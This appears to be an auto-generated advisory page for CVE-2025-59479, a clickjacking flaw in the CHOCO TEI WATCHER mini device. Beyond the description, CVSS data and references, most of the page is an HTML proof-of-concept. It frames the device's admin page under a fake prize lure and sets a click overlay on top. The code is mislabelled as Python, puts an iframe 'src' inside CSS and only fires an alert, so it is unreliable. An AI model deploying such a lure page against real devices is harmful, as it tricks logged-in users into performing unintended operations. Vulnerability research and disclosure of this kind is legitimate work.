CVE-2025-59479

Description

CHOCO TEI WATCHER mini (IB-MCT001) contains an issue with improper restriction of rendered UI layers or frames. If a user clicks on content on a malicious web page while logged into the product, unintended operations may be performed on the product.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:inaba:ib-mct001_firmware:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:inaba:ib-mct001:-:*:*:*:*:*:*:* - NOT VULNERABLE

CHOCO TEI WATCHER mini (IB-MCT001) - 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-59479 PoC: Clickjacking Attack on CHOCO TEI WATCHER mini -->
<!DOCTYPE html>
<html>
<head>
    <title>Malicious Page - CVE-2025-59479</title>
    <style>
        body {
            margin: 0;
            padding: 20px;
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
        }
        .container {
            max-width: 800px;
            margin: 50px auto;
            background: white;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 10px 30px rgba(0,0,0,0.3);
        }
        /* Invisible iframe containing the vulnerable device page */
        .iframe-container {
            position: relative;
            width: 100%;
            height: 600px;
            border: 2px solid #333;
            border-radius: 5px;
            overflow: hidden;
        }
        iframe {
            width: 100%;
            height: 100%;
            border: none;
            /* Load the device management interface */
            src: "http://<device-ip>/";
        }
        /* Hidden malicious button overlay */
        .malicious-overlay {
            position: absolute;
            top: 150px;
            left: 50%;
            transform: translateX(-50%);
            width: 200px;
            height: 50px;
            background: transparent;
            cursor: pointer;
            z-index: 999;
            /* Button positioned over device's admin button */
        }
        .malicious-overlay::after {
            content: "Click for Prize!";
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(255, 215, 0, 0.8);
            border-radius: 25px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-weight: bold;
            color: #333;
            box-shadow: 0 4px 15px rgba(0,0,0,0.3);
        }
        /* Decoy content to lure user */
        .decoy-text {
            text-align: center;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            border: 1px solid #ffc107;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
        }
        .warning h3 {
            margin-top: 0;
            color: #856404;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="decoy-text">
            <h1>Congratulations! You've Won!</h1>
            <p>Click the golden button below to claim your prize.</p>
            <p><em>(Actually triggers hidden action on device)</em></p>
        </div>
        <div class="iframe-container">
            <!-- Device management page loaded in iframe -->
            <iframe src="http://<device-ip>/" sandbox="allow-same-origin allow-scripts"></iframe>
            <!-- Malicious overlay button -->
            <div class="malicious-overlay" onclick="alert('Hidden action executed!')"></div>
        </div>
        <div class="warning">
            <h3>⚠️ Security Note</h3>
            <p>This is a demonstration of CVE-2025-59479. The device should implement X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none' to prevent clickjacking attacks.</p>
        </div>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59479
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59479
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59479/
[4] VulDB https://vuldb.com/cve/CVE-2025-59479
[5] https://jvn.jp/en/vu/JVNVU92827367/
[6] https://www.inaba.co.jp/files/chocomini_vulnerability_newly_identified.pdf

Raw JSON Data

JSON

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